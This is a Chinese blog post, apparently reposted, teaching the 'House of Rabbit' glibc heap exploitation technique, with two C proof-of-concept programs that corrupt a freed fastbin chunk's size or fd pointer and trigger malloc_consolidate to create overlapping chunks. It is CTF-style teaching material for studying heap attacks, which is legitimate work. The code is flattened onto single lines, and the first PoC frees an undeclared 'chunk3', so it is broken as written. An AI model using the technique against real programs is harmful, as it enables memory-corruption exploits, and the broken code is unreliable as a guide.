House of Rabbit

House of Rabbit

介绍:

  1. House of rabbit 是一种伪造堆块的技术,早在 2017 年已经提出,但在最近两个月才在 CTF 比赛中出现。我们一般运用在 fastbin attack 中,因为 unsorted bin 等其它的 bin 有更好的利用手段。

原理:

  1. 我们知道,fastbin 中会把相同的 size 的被释放的堆块用一个单向链表管理,分配的时候会检查 size 是否合理,如果不合理程序就会异常退出。而 house of rabbit 就利用了在 malloc consolidate 的时候 fastbin 中的堆块进行合并size 没有进行检查从而伪造一个假的堆块,为进一步的利用做准备。
  2. 利用条件:
    • 可以修改 fastbin 的 fd 指针或 size
    • 可以触发 malloc consolidate(merge top 或 malloc big chunk 等等)

POC1:

  1. modify the size of fastbin chunk:

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int main(void)
    {unsigned long* chunk1=malloc(0x40); //0x602000unsigned long* chunk2=malloc(0x40); //0x602050malloc(0x10);free(chunk1);free(chunk3);chunk1[-1]=0xa1; //modify chunk1 size to be 0xa1malloc(0x400);  //allocate a large chunk, trigger malloc_consolidatemalloc(0x90); //申请到修改size后的chunk,并造成overlappingreturn 0;
    }

    调试分析:先释放掉两个chunk

    image-20240809154606416

    修改chunk1的size字段:

    image-20240809154816163

    再分配一个较大的size,触发maloc_consolidate函数 (没有堆size进行检查),将fastbin整理到small bin中,将其直接放入到small bin中,后面申请chunk时就会造成overlapping:

    image-20240809154945736

POC2

  1. modify FD pointer:

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int main(void)
    {unsigned long* chunk1=malloc(0x40); //0x602000unsigned long* chunk2=malloc(0x100);//0x602050chunk2[1]=0x31; //fake chunk size 0x30chunk2[7]=0x21;  //fake chunk's next chunkchunk2[11]=0x21;//fake chunk's next chunk's next chuckfree(chunk1);chunk1[0]=0x602060;// modify the fd of chunk1malloc(5000);// malloc a  big chunk to trigger malloc consolidatereturn 0;	
    }
  2. 调试,修改前的堆:

    image-20240809164501958

    伪造fake_chunk,这里为什么size字段填1,可以看这篇文章伪造unsortedbin释放时 top chunk的衔接问题:这里甚至可以将fake_chunk_next的size字段给为0x11:

    image-20240809170745070

    faka_chunk_next的size字段给为0x11仍然可以通过检查:

    image-20240809171029205

    再分配一个较大的size,触发maloc_consolidate函数 (没有堆size进行检查),将fastbin整理到small bin中,将其直接放入到small bin中,后面申请chunk时就会造成overlapping:

    image-20240809170500710

总结

House of rabbit 的优点是容易构造 overlap chunk ,由于可以基于 fastbin attack,甚至不需要 leak 就可以完成攻击。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/396563.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

接口基础知识6:详解http request body(一篇讲完常见请求体)

课程大纲 一、定义 HTTP请求体&#xff08;HTTP Request body&#xff09;&#xff1a;HTTP请求消息的可选部分&#xff0c;仅在请求方法支持且需要发送数据时使用。 POST方法、PUT方法有请求体&#xff0c;GET和HEAD方法没有请求体。 请求头和请求体之间会有一个空行&#…

【C++】面向对象三大特性之—— 继承 | 详解

目录 继承的概念 继承语法格式 继承方式 隐藏 继承下来的成员和父类是不是同一份 隐藏 基类和派生类对象赋值转换 继承中的作用域 派生类的默认成员函数 构造 拷贝构造 赋值重载 析构 继承与友元 继承与静态成员 菱形继承及菱形虚拟继承 多继承 菱形继承 菱形…

探索Linux -- 冯诺依曼体系、初始操作系统、初始进程、fork函数

一、冯诺依曼体系结构 1、概念 冯诺依曼结构也称普林斯顿结构&#xff0c;是一种将程序指令存储器和数据存储器合并在一起的存储器结构。 最早的计算机器仅内含固定用途的程序。若想要改变此机器的程序&#xff0c;就必须更改线路、更改结构甚至重新设计此机器。当然最早的计…

三防平板满足多样化定制为工业领域打造硬件解决方案

在当今工业领域&#xff0c;数字化、智能化的发展趋势日益显著&#xff0c;对于高效、可靠且适应各种复杂环境的硬件设备需求不断增长。三防平板作为一种具有坚固耐用、防水防尘防摔特性的工业级设备&#xff0c;正以其出色的性能和多样化的定制能力&#xff0c;为不同行业的应…

8.7 Day15 匿名用户访问FTP与日志查看

查看配置文件 vsftpd是一个认证文件&#xff0c;意味着ftp是通过vsftpd这个认证文件来对我们输入的用户名和密码进行认证的&#xff0c;那么这个认证文件在哪里呢&#xff1f; 所在位置如下&#xff1a; 查看文件配置内容 默认通过系统来验证&#xff0c;但现在我们欲做一个类…

Flink-DataWorks第二部分:数据集成(第58天)

系列文章目录 数据集成 2.1 概述 2.1.1 离线&#xff08;批量&#xff09;同步简介 2.1.2 实时同步简介 2.1.3 全增量同步任务简介 2.2 支持的数据源及同步方案 2.3 创建和管理数据源 文章目录 系列文章目录前言2. 数据集成2.1 概述2.1.1 离线&#xff08;批量&#xff09;同步…

VulnHub靶场-VulnOS:2

1.环境准备 下载地址&#xff1a;VulnOS: 2 ~ VulnHub 前言&#xff1a;由于我们下载的靶场是vdi文件&#xff0c;而我使用的是虚拟机&#xff0c;我们需要安装VirtualBox将vdi文件转换成虚拟机的vmdk文件vdi转vmdk VirtualBox与VMware硬盘格式转换及使用方法-CSDN博客 虚拟…

【中等】 猿人学web第一届 第2题 js混淆 动态cookie 1

目录 调试干扰Hook Function 加密参数定位hook Cookie AST 解混淆字符串解密还原解密函数AST 配合解密函数还原字符串 ASCII 编码字符串还原字符串相加花指令(对象)剔除无用代码虚假 if剔除无引用代码剔除无引用的对象数值还原 switch 还原完整的 AST 代码代码注意 还原加密 请…

pygame小游戏

代码存在一些bug&#xff0c;感兴趣可自行修改&#xff0c;游戏运行后玩法与吃金币游戏类似。&#xff08;代码及结果比较粗糙&#xff0c;仅供参考&#xff09; 注&#xff1a;&#xff08;图片、音乐、音效文件老是上传上传不上&#xff0c;想要可私&#xff0c;也可以自己找…

如何在银河麒麟操作系统上搭建 Electron (含 Electron 打包指南)

本次教程所用版本 Eletron版本&#xff1a;31.3.1 Electron-packager版本&#xff1a;17.1.2 VScode版本&#xff1a;1.92.0 Node版本&#xff1a;18.19.0 npm版本&#xff1a;10.2.3 前言&#xff1a; 随着跨平台应用开发的需求日益增长&#xff0c;Electron 和 Qt 成为…

Midjourney入门-提示词基础撰写与公式

​ 前言 在前几篇教程里我们已经可以初步使用Midjourney进行出图了。 包括也了解了Midjourney的指令与参数。 但如果你想用Midjourney去生成各种各样高质量的图片&#xff0c; 并且生成的图片是你想要的画面内容&#xff0c;也就是更好控制生成图片的画面内容与风格&#xf…

书生大模型实战营闯关记录----第八关:书生大模型全链路开源开放体系

书生大模型全链路开源开放体系 一、概述 书生大模型&#xff0c;即InternLM系列模型&#xff0c;是由上海人工智能实验室书生团队开发的一系列大语言模型。这些模型以其强大的功能而著称&#xff0c;涵盖了从基础的语言理解到复杂的数学解题和图文创作等多个领域。 发展历程…

【每日面经】快手面经

ConcurrentHashMap和HashMap的区别&#xff1f;使用场景&#xff1f; 线程安全性 concurrentHashMap是线程安全的&#xff0c;HashMap不是线程安全的锁机制 ConcurrentHashMap采用的是分段锁&#xff08;Sagment&#xff09;机制&#xff0c;降低所得粒度提高了并发性能 Curr…

4章4节:临床数据科学中如何用R来进行缺失值的处理

在临床科研中,由于失访、无应答或记录不清等各种原因,经常会遇到数据缺失的问题。本文将深入探讨医学科研中数据缺失的成因、分类、影响以及应对方法,结合R语言的实际应用,为医学研究人员提供全面的解决方案。 一、认识缺失数据 其实,很多医学的纵向研究因获取数据资料时…

38.【C语言】指针(重难点)(C)

目录: 8.const 修饰指针 *修饰普通变量 *修饰指针变量 9.指针运算 *指针或-整数 *指针-指针 *指针关系运算 往期推荐 承接上篇37.【C语言】指针&#xff08;重难点&#xff09;&#xff08;B&#xff09; 8.const 修饰指针 const 全称 constant adj.不变的 *修饰普通变量 #…

java.lang.NoClassDefFoundError: ch/qos/logback/core/util/StatusPrinter2

1、问题 SpringBoot升级报错&#xff1a; Exception in thread "main" java.lang.NoClassDefFoundError: ch/qos/logback/core/util/StatusPrinter2 类找不到&#xff1a; Caused by: java.lang.ClassNotFoundException: ch.qos.logback.core.util.StatusPrinter22、…

HDFS写入数据的流程图

1.客户端向namenode发送请求&#xff0c;请示写入数据 2.namenode接受请求后&#xff0c;判断这个用户是否有写入权限&#xff0c;如果不具备直接报错&#xff1b;如果有写入权限&#xff0c;接着判断在要写入的目录下是否已经存在这个文件&#xff0c;如果存在&#xff0c;直…

PHP语言特性漏洞汇总【万字详解】

文章目录 任意文件下载PHP弱类型比较字符比较绕过代码示例过程 SHA1比较绕过MD5比较绕过SESSION比较绕过STRCMP比较绕过科学计算法绕过概念复现复现2 json_decode&#xff08;&#xff09;绕过概念源码分析 ereg绕过概念复现复现2 array_search强相等绕过概念复现 文件包含生成…

螺旋矩阵 | LeetCode-59 | LeetCode-54 | 分类讨论

&#x1f64b;大家好&#xff01;我是毛毛张! &#x1f308;个人首页&#xff1a; 神马都会亿点点的毛毛张 &#x1f383;分类不好&#xff0c;这道题就做不出来&#xff01;&#x1f388; &#x1f4cc;LeetCode链接&#xff1a;59. 螺旋矩阵 II &#x1f4cc;LeetCode链接…

Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通

Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通 契机 ⚙ 2.6的小钢炮可以输入视频了&#xff0c;我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题&#xff0c;pip install flash_attn也无法安装&#xff0c;因为强制依赖cuda。主要解决的就是这个问题&#xff0c;还…